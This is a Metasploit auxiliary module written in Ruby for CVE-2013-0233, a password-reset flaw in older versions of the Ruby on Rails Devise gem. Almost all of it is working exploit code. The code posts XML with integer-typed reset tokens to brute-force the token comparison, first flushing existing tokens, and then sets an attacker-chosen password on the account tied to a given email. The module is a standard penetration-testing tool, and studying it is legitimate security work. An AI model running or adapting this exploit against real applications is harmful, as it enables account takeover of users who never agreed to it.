Ruby On Rails Devise Authentication Password Reset

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rexml/element'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ruby on Rails Devise Authentication Password Reset',  
'Description' => %q{  
The Devise authentication gem for Ruby on Rails is vulnerable  
to a password reset exploit leveraging type confusion. By submitting XML  
to rails, we can influence the type used for the reset_password_token  
parameter. This allows for resetting passwords of arbitrary accounts,  
knowing only the associated email address.  
  
This module defaults to the most common devise URIs and response values,  
but these may require adjustment for implementations which customize them.  
  
Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database  
except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails  
3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation  
of this vulnerability, by quoting numeric values when comparing them with  
non numeric values.  
},  
'Author' => [  
'joernchen', # original discovery and disclosure  
'jjarmoc' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2013-0233'],  
[ 'OSVDB', '89642' ],  
[ 'BID', '57577' ],  
[ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'],  
[ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'],  
[ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ],  
[ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8']  
],  
'DisclosureDate' => '2013-01-28'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),  
OptString.new('TARGETEMAIL', [true, 'The email address of target account']),  
OptString.new('OBJECTNAME', [true, 'The user object name', 'user']),  
OptString.new('PASSWORD', [true, 'The password to set']),  
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),  
OptInt.new('MAXINT', [true, 'Max integer to try (tokens beginning with a higher int will fail)', 10])  
]  
)  
end  
  
def generate_token(account)  
# CSRF token from GET "/users/password/new" isn't actually validated it seems.  
  
postdata = "#{datastore['OBJECTNAME']}[email]=#{account}"  
  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI']),  
'method' => 'POST',  
'data' => postdata  
})  
  
unless res  
print_error('No response from server')  
return false  
end  
  
if res.code == 200  
error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]  
print_error('Server returned error')  
vprint_error(error_text)  
return false  
end  
  
return true  
end  
  
def clear_tokens  
count = 0  
status = true  
until (status == false)  
status = reset_one(Rex::Text.rand_text_alpha(rand(5..14)))  
count += 1 if status  
end  
vprint_status("Cleared #{count} tokens")  
end  
  
def reset_one(password, report = false)  
(0..datastore['MAXINT']).each do |int_to_try|  
encode_pass = REXML::Text.new(password).to_s  
  
xml = ''  
xml << "<#{datastore['OBJECTNAME']}>"  
xml << "<password>#{encode_pass}</password>"  
xml << "<password_confirmation>#{encode_pass}</password_confirmation>"  
xml << "<reset_password_token type=\"integer\">#{int_to_try}</reset_password_token>"  
xml << "</#{datastore['OBJECTNAME']}>"  
  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI']),  
'method' => 'PUT',  
'ctype' => 'application/xml',  
'data' => xml  
})  
  
unless res  
print_error('No response from server')  
return false  
end  
  
case res.code  
when 200  
# Failure, grab the error text  
# May need to tweak this for some apps...  
error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]  
if report && (error_text !~ /token/)  
print_error('Server returned error')  
vprint_error(error_text)  
return false  
end  
when 302  
# Success!  
return true  
else  
print_error("ERROR: received code #{res.code}")  
return false  
end  
end  
  
print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report  
return false  
end  
  
def run  
# Clear outstanding reset tokens, helps ensure we hit the intended account.  
if datastore['FLUSHTOKENS']  
print_status('Clearing existing tokens...')  
clear_tokens  
end  
# Generate a token for our account  
print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")  
status = generate_token(datastore['TARGETEMAIL'])  
if status == false  
print_error('Failed to generate reset token')  
return  
end  
print_good('Reset token generated successfully')  
  
# Reset a password. We're racing users creating other reset tokens.  
# If we didn't flush, we'll reset the account with the lowest ID that has a token.  
print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")  
status = reset_one(datastore['PASSWORD'], true)  
status ? print_good('Password reset worked successfully') : print_error('Failed to reset password')  
end  
end  
`